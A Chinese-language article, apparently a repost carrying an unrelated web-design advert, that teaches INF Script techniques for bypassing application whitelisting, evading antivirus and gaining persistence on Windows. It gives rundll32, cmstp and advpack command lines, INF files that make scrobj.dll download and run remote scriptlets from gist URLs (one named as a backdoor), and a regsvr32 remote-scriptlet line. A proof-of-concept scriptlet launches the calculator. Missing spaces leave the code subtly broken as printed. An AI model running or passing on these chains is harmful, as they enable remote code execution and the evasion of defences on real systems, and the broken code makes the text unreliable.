如何利用INFScript下載執行技術來進行繞過、免殺和持久化

本篇文章為大家展示了如何利用INF Script下載執行技術來進行繞過、免殺和持久化，內容簡明扼要并且容易理解，絕對能使你眼前一亮，通過這篇文章的詳細介紹希望你能有所收獲。

成都創新互聯公司專注于高昌企業網站建設,響應式網站建設,商城系統網站開發。高昌網站建設公司,為高昌等地區提供建站服務。全流程按需求定制制作，專業設計，全程項目跟蹤，成都創新互聯公司專業和態度為您提供的服務

簡介

通過對MSDN上一些處理不同COM腳本的調查和測試，結合網上的分享，我發現了一些有意思的東西，這些發現可能是遠程調用執行腳本新方法。
其中最有意思的是LaunchINFSection。

這篇文章主要討論一下網上公開的利用INF Script的方法，并介紹下LaunchINFSection，最后再分享一些用法和作為防御者應該注意的事項。另外，還會給出一些其他遠程執行腳本方法的參考。

`INF Script`執行方法

通過INF配置文件來執行腳本文件（.sct）的方法會涉及到InstallHinfSection(setipapi.dll)，CMSTP和LaunchINFSection(advpack.dll)。

使用`InstallHinfSection`執行`INF Script`腳本

在DerbyCon 2017中KyleHanslovan和ChrisBisnett展示了一個非常有意思的東西，我已經將其翻譯和整理過來（傳送門：透過Autoruns看持久化繞過姿勢的分享）。他們展示了一種通過INF 遠程調用執行sct腳本文件的方法：
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 [path to file.inf]

作者給出的INF文件如下：

;----------------------------------------------------------------------
;RequiredSections
;----------------------------------------------------------------------
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
;----------------------------------------------------------------------
;ModelsSection
;----------------------------------------------------------------------
[ModelsSection.NTx86]
UnregisterDlls=Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls=Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls=Squiblydoo
;----------------------------------------------------------------------
;SupportSections
;----------------------------------------------------------------------
[DefaultInstall]
UnregisterDlls=Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct

上面的命令會去調用默認INF塊，即DefaultInstall，在這個塊下，通過UnregisterDlls調用了Squiblydoo塊下的惡意命令，通過scrobj.dll下載并執行指定的腳本文件。

使用`CMSTP`執行`INF Script`腳本

NickTyrer展示了一種用cmstp.exe加載INF文件來下載SCT腳本并執行COM腳本文件的方法。Oddvarmoe曾展示了用cmdtp.exe來繞過UAC和AppLocker默認策略。
基本用法如下：
cmstp.exe /s [file].inf

INF文件內容參考如下：

;cmstp.exe/s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c8b7deb8a66e0/powersct.sct
[Strings]
AppAct="SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"

通過如上的INF文件，cmstp.exe會調用文件中的DefaultInstall_SingleUser塊。在這個塊中，UnRegisterOCXs調用了UnRegisterOCXSection塊來執行惡意操作，通過scrobj.dll來下載并執行指定的SCT腳本文件。

使用`LaunchINFSection`執行`INF Script`腳本

根據MSDN的說明，LaunchINFSection是Advanced INF Package Installer（advpack.dll）的一個方法，用來調用INF文件中的某個塊。從管理員的角度看，INF文件是一個用來安裝設備驅動或Windows .cab文件的指令文件，包括注冊Windows二進制（exe,dll,ocx），在注冊表中增加鍵值，或設置一些關鍵參數的操作。
調用LaunchINFSection的方法如下：
rundll32.exe advpack.dll,LaunchINFSection [file].inf, [INF Section], [Path to Cab].cab, [Installation Flags]
如果不指定[INF Section]，LaunchINFSection將會調用默認的DefaultInstall塊。另外，值得注意的是，advpack.dll還提供了LaunchINFSectionEX方法和與其它字符集兼容的LaunchINFSectionA，來完成LaunchINFSection同樣的功能。

作為PoC例子，我們使用如下的INF和SCT文件來測試：

INF文件（保存為test.inf）：

;cmstp.exe/s cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct
[Strings]
AppAct="SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"

SCT文件：

<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll







<scriptlanguage="JScript">
<![CDATA[
var r=newActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
<public>
<methodname="Exec"></method>
</public>
<scriptlanguage="JScript">
<![CDATA[
functionExec()
{
var r=newActiveXObject("WScript.Shell").Run("notepad.exe");
}
]]>
</script>
</scriptlet>

使用下面的命令來執行一下：
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1,

如果網絡沒有問題的話，會出現我們可愛的計算器：